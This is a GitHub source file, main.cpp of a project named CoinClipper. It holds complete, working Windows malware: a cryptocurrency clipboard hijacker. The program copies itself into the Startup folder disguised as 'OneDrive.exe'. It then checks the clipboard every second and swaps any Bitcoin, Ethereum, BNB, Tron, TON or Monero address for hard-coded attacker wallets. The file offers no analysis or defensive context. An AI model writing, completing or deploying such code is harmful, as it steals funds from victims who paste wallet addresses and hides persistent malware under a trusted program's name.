CoinClipper/main.cpp at main · Abdullah19931/CoinClipper · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <string>
#include <vector>
#pragma comment(lib, "User32.lib")

std::vector<std::string> mAddress{
    "bc1qpe8zrmy53t6n022gmqj7rawfa76x4fndkmqxfr", // Bitcoin (BTC)
    "0x15a44aD2Ff91cCB9e78dEBAEAe552529Ea9cD3a8", // Ethereum (ETH) and BSC
    "bnb1mz6d3nn8vade2zg6nwsk64znuu7frcghx7t30q", // Binance Coin (BNB)
    "TJsKM4C3K4UpiRmWbhJFeyekFUF5n96AVX", // Tron (TRX)
    "EQAmsFUF86slad12lV0izayr3pXdFEpQMmboWGg5wCB9DZ-q", // Ton (TON)
    "49Z2cF8BTbwRuCHV3CferPfeG4tpCs8iWWmv68uasDSdKCt7sntBaYXgrwSMPNERWDXx4E8Wk5m1mJEa6D6TrQmx23KEYEA"  // Monero (XMR)
};

void addToStartup() {
    std::string sPath = getenv("APPDATA");
    sPath += "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\OneDrive.exe";

    char cBuffer[1024];
    GetModuleFileName(NULL, cBuffer, 1024);

    if (strcmp(cBuffer, sPath.c_str()) != 0)
        CopyFile(cBuffer, sPath.c_str(), false);
}

void setClipboardText(const char* text) {
    int size = MultiByteToWideChar(CP_UTF8, 0, text, -1, nullptr, 0);
    if (size < 0)
        return;

    if (OpenClipboard(NULL)) {
        EmptyClipboard();
        HGLOBAL hGlobal = GlobalAlloc(GMEM_ZEROINIT | GMEM_MOVEABLE | GMEM_DDESHARE, (size + 1) * sizeof(WCHAR));
        if (hGlobal != NULL) {
            LPWSTR lpszData = (LPWSTR)GlobalLock(hGlobal);
            if (lpszData != NULL) {
                MultiByteToWideChar(CP_UTF8, 0, text, -1, lpszData, size);
                GlobalUnlock(hGlobal);
                SetClipboardData(CF_UNICODETEXT, hGlobal);
            }
        }
        CloseClipboard();
    }
}

std::string getClipboardText()
{
    std::string text = "";
    if (OpenClipboard(NULL)) {
        HANDLE hData = GetClipboardData(CF_TEXT);
        if (hData == NULL)
            return "";

        char* pszText = static_cast<char*>(GlobalLock(hData));
        if (pszText == NULL)
            return "";

        text = pszText;

        GlobalUnlock(hData);
        CloseClipboard();
    }
    return text;
}

void checkBitcoinAddress(std::string sClipboard) {
    bool isBitcoinAddr = false;

    if (sClipboard.length() == 42 && sClipboard.substr(0, 3) == "bc1") // Bech32 (P2WPKH)
        isBitcoinAddr = true;
    else if (sClipboard.length() == 34 && sClipboard[0] == '1')        // Base58 (P2PKH)
        isBitcoinAddr = true;
    else if (sClipboard.length() == 34 && sClipboard[0] == '3')        // Base58 (P2SH)
        isBitcoinAddr = true;

    if (isBitcoinAddr)
        setClipboardText(mAddress[0].c_str());
};

void checkEthereumAddress(std::string sClipboard) {
    if (sClipboard.length() == 42 && sClipboard.substr(0, 2) == "0x")
        setClipboardText(mAddress[1].c_str());
};

void checkBinanceCoinAddress(std::string sClipboard) {
    if (sClipboard.length() == 42 && sClipboard.substr(0, 4) == "bnb1")
        setClipboardText(mAddress[2].c_str());
}

void checkTronAdress(std::string sClipboard) {
    if (sClipboard.length() == 34 && sClipboard[0] == 'T')
        setClipboardText(mAddress[3].c_str());
}

void checkTonAddress(std::string sClipboard) {
    if (sClipboard.length() == 48 &&
        (sClipboard.find("-") != std::string::npos || sClipboard.find("_") != std::string::npos))
        setClipboardText(mAddress[4].c_str());
}

void checkMoneroAddress(std::string sClipboard) {
    if (sClipboard.length() == 95 && sClipboard[0] == '4')
        setClipboardText(mAddress[5].c_str());
}

int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    addToStartup(); // Simple startup ;D

    while (true) {
        std::string sClipboard = getClipboardText();

        checkBitcoinAddress(sClipboard);
        checkEthereumAddress(sClipboard);
        checkBinanceCoinAddress(sClipboard); // Issue with memo (use address without memo)
        checkTronAdress(sClipboard);
        checkTonAddress(sClipboard);
        checkMoneroAddress(sClipboard);

        Sleep(1000);
    }
};